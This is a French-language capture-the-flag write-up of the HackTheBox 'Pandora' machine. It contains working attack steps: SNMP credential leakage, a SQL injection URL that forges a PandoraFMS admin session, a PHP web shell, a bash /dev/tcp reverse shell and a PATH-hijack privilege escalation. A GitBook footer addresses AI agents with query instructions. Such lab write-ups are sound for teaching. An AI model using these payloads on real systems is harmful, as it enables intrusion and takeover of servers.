> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/pandora-hackthebox-writeup.md).

# Compte rendu HackTheBox de Pandora

{% embed url="<https://app.hackthebox.com/machines/Pandora>" %}

{% hint style="warning" %}
**Compétences :**

* Énumération rapide SNMP
* Fuite d'informations
* Redirection de port locale
* Injection SQL - détournement de session administrateur
* Exécution de code à distance authentifiée sur PandoraFMS v7.0NG (CVE-2019-20224]
* Exploitation d'un binaire personnalisé - détournement du PATH (élévation de privilèges)
  {% endhint %}

## Reconnaissance

**Configuration de l'espace de travail :**

Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

<figure><img src="/files/ffb382c4a68fa9a04ce6863b7ff00131bd775a14" alt="" width="563"><figcaption></figcaption></figure>

**Vérification de la connectivité VPN**

Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

<figure><img src="/files/606e0f716ede791d568e3e29e235ad83efb2d9d8" alt="" width="563"><figcaption></figcaption></figure>

## TCP :

**Recherche des ports TCP ouverts avec Nmap :**

Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap :

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.11.136 -oG allPorts
```

<figure><img src="/files/48b286a23378c46e087d6d06de3556e35622589b" alt=""><figcaption></figcaption></figure>

**Analyse des ports ouverts avec extractPorts :**

Utilisez la fonction extractPorts pour afficher les ports ouverts dans un format concis et les copier dans le presse-papiers (22.80)

<figure><img src="/files/4d1dcf170aa671415b83174fc8787993ffba3ccf" alt="" width="563"><figcaption></figcaption></figure>

**Analyse des versions des ports TCP avec Nmap :**

Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" :

```bash
nmap -sCV -p22,80 10.10.11.136 -oN targeted
```

<figure><img src="/files/edc1bcf56ac44e22de7a13e41584bf272f101ad0" alt=""><figcaption></figcaption></figure>

### Port 80 :

Nous avons utilisé `whatweb` pour identifier les technologies utilisées par le serveur web :

<div align="right" data-full-width="true"><figure><img src="/files/253b4cc0a669074bac9911fff53e47f7e7d5b7a3" alt=""><figcaption></figcaption></figure></div>

Pour résoudre les noms de domaine en adresses IP via DNS, insérez le nom de domaine associé à son adresse IP dans le `/etc/hosts` .

<figure><img src="/files/3c3037d58c03d160078cf3b79fb3a82844e41e85" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/3b66b77e66ceb2adef0ce07f8eb4f74b05e87cc3" alt=""><figcaption></figcaption></figure>

## UDP :

**Recherche des ports UDP ouverts avec Nmap :**

Nous effectuons également une analyse des ports UDP avec **Nmap**:

```bash
nmap -sU --top-ports 100 --open -vvv -n 10.10.11.136 -oG allPortsUDP
```

nous découvrons les ports SNMP 161, 17185 et 49201

<figure><img src="/files/508b031b269d2f491f1274dc8a8c733e80b98de6" alt=""><figcaption></figcaption></figure>

**Analyse des versions des ports UDP avec Nmap :**

Utilisation de Nmap pour analyser la version des ports UDP et extraire les informations dans le fichier "targeted" :

```bash
nmap -sUCV -p 161,17185,49201 10.10.11.136 -oN targetedUDP
```

Découverte d'informations sensibles via SNMP, y compris un utilisateur :

* `daniel`
* Mot de passe : `HotelBabylon23`.

<figure><img src="/files/6e22332cfb0ca1ed17cb5ac467140037a49617d5" alt=""><figcaption></figcaption></figure>

## Port 161 - SNMP

{% embed url="<https://book.hacktricks.xyz/network-services-pentesting/pentesting-snmp>" %}

**Énumération SNMP**

Pour examiner les services SNMP exposés, nous avons utilisé la commande suivante

```bash
snmpbulkwalk -c public -v2c 10.10.11.136 > snmpcontent.txt
```

* En analysant le contenu de `snmpcontent.txt`, nous avons découvert des informations sensibles, y compris des identifiants valides :
  * **Utilisateur**: `daniel`
  * **Mot de passe**: `HotelBabylon23`

<figure><img src="/files/872af8bbcbad32690bda75df62d94173215b9004" alt=""><figcaption></figcaption></figure>

Avec les informations récupérées, nous avons établi une connexion SSH à la machine cible :

```bash
ssh daniel@10.10.11.136
```

<figure><img src="/files/f1766c4dc294fd19d594236b87c6cd4dac264589" alt=""><figcaption></figcaption></figure>

## **Élévation de privilèges**

**Recherche initiale**

En explorant les répertoires accessibles à l'utilisateur `daniel`, nous avons identifié des fichiers et dossiers intéressants dans le chemin suivant : `/var/www/pandora`

<div data-full-width="true"><figure><img src="/files/f07af2a89f31d2388e82accec528011061bc3763" alt=""><figcaption></figcaption></figure></div>

Ce répertoire contient le site web PandoraFMS, qui ne semble pas accessible directement depuis l'extérieur.

**Redirection de port**

Pour accéder à l'interface PandoraFMS via notre machine locale, nous avons configuré un tunnel SSH :

```bash
ssh -L 80:127.0.0.1:80 daniel@10.10.11.136
```

## Exploitation de Pandora FMS - Injection SQL

### **Injection SQL : détournement de session administrateur**

Cette commande redirige les requêtes HTTP locales vers le serveur web interne.

<figure><img src="/files/5d40b0f54306fdda46bfe8b9ded9746ce6f47a79" alt=""><figcaption></figcaption></figure>

Version détectée : **v7.0NG.742/\_FIX/\_PERL2020**.

<figure><img src="/files/e10e081a7e729f3ebffdd6e74d8cf03b050af6fa" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/shyam0904a/Pandora_v7.0NG.742_exploit_unauthenticated>" %}

Vulnérabilité connue dans `chart_generator.php` via la `session_id` variable :

<figure><img src="/files/421dcd30206c39e2551384600b15b5607e0bc525" alt=""><figcaption></figcaption></figure>

```
http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=1'
```

<figure><img src="/files/6622f5dff3fe19a3ac46d0f6ce1abdeaab6afa45" alt=""><figcaption></figcaption></figure>

Exécution d'une injection SQL pour usurper une session administrateur :

<pre class="language-bash"><code class="lang-bash"><strong>http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=%27%20union%20SELECT%201,2,%27id_usuario|s:5:%22admin%22;%27%20as%20data%20--%20SgGO
</strong></code></pre>

* Cette commande renvoie un cookie de session administrateur.

<figure><img src="/files/2dc0008eedecbf340d32e8184a4b1f549dc039dc" alt=""><figcaption></figcaption></figure>

Utiliser le cookie pour accéder au tableau de bord en tant qu'administrateur.

<figure><img src="/files/24313e1fe73f9781fa5c868603329bc4966b3e08" alt=""><figcaption></figcaption></figure>

### **Exécution de code à distance (RCE) - (CVE-2019-20224]**

Aller à **Gestionnaire de fichiers**.

<figure><img src="/files/e73d4bebae6cf6b50ddd55c0bfa0a088fe32076c" alt=""><figcaption></figcaption></figure>

Téléversement d'un fichier PHP malveillant :

<pre class="language-php"><code class="lang-php"><strong>&#x3C;?php system($_GET['cmd']); ?>
</strong></code></pre>

* Fichier accessible via `http://127.0.0.1/pandora_console/images/cmd.php`.

<figure><img src="/files/4894ab98db3f23df779575532e262ffdc10ef7b2" alt=""><figcaption></figcaption></figure>

Exécution d'un reverse shell :

* Écoute locale :

```bash
nc -nvlp 443
```

* Exécution de la commande sur le serveur cible :

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.14.26/443 0>%261"
```

Accès obtenu en tant qu'utilisateur `matt`.

<figure><img src="/files/7f555abd6b7a3432be0ebd6d1b2aedd471615a57" alt=""><figcaption></figcaption></figure>

**Préparation du terminal :**

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

Permet un confort d'utilisation accru dans un terminal interactif.

### Drapeau User.txt :)

<figure><img src="/files/9126d29d104a1298d24f96822282dfe22fadb1f5" alt="" width="563"><figcaption></figcaption></figure>

## Détournement du PATH - exploitation d'un binaire personnalisé

**Recherche de binaires avec permissions SUID**

```bash
find / -perm -4000 2>/dev/null
```

Résultat : un fichier binaire intéressant a été trouvé : / /\&#xNAN;**`/usr/bin/pandora_backup`**.

<figure><img src="/files/3a5d025aba0ac9dad0763d4d440404496774b9cf" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/3ffa2e7f064f0263550ac42b4f3a72d6260d73b6" alt=""><figcaption></figcaption></figure>

**Analyse du binaire avec `ltrace`**

Pour comprendre comment le binaire fonctionne, nous avons utilisé **`ltrace`** (un outil de traçage des appels système) pour observer les appels système effectués par ce binaire :

```bash
ltrace /usr/bin/pandora_backup
```

Cela nous a permis de voir que le binaire exécutait la **KEEP/*****0/*****/\_** commande sans utiliser de chemin absolu vers l'exécutable, ce qui crée une vulnérabilité potentielle. En d'autres termes, si nous modifions notre **`PATH`** pour inclure un répertoire contenant un exécutable malveillant appelé `tar`, celui-ci serait exécuté à la place de l'original.

<figure><img src="/files/3355947dc5703d1f739828efa5e18efedd600bbc" alt=""><figcaption></figcaption></figure>

**Exploitation via détournement du PATH**

**Création d'un fichier `tar` fichier :** Nous avons créé un fichier nommé `tar` dans le `/tmp/` répertoire avec permissions d'exécution **SUID**. Ce fichier contient une commande pour ouvrir un shell Bash avec des privilèges élevés :

```bash
chmod 4777 /bin/bash
```

**Modification de la `PATH` variable :** Pour forcer le système à utiliser notre version malveillante de `tar`, nous avons modifié le `PATH` variable afin de prioriser le `/tmp/` répertoire

```bash
export PATH=/tmp/:$PATH
```

<figure><img src="/files/70d10bb4f5f9a2f01e627a74fac86f8b460ab0e5" alt=""><figcaption></figcaption></figure>

**Exécution du binaire vulnérable :** Après avoir modifié le `PATH`, nous avons exécuté le **`pandora_backup`** binaire :

<figure><img src="/files/fa375e97abae55403fee60b9aadb8584280b518b" alt=""><figcaption></figcaption></figure>

En exécutant notre version modifiée de `tar`, un shell Bash avec privilèges élevés s'est ouvert, nous donnant `root` accès.

### Drapeau root.txt :)

<figure><img src="/files/ae8d7b8bd5ba115be27793593e10ff11b42c8514" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/463edaba8c786362bc07f78f1dd8fdd69ba7064c" alt="" width="515"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/pandora-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
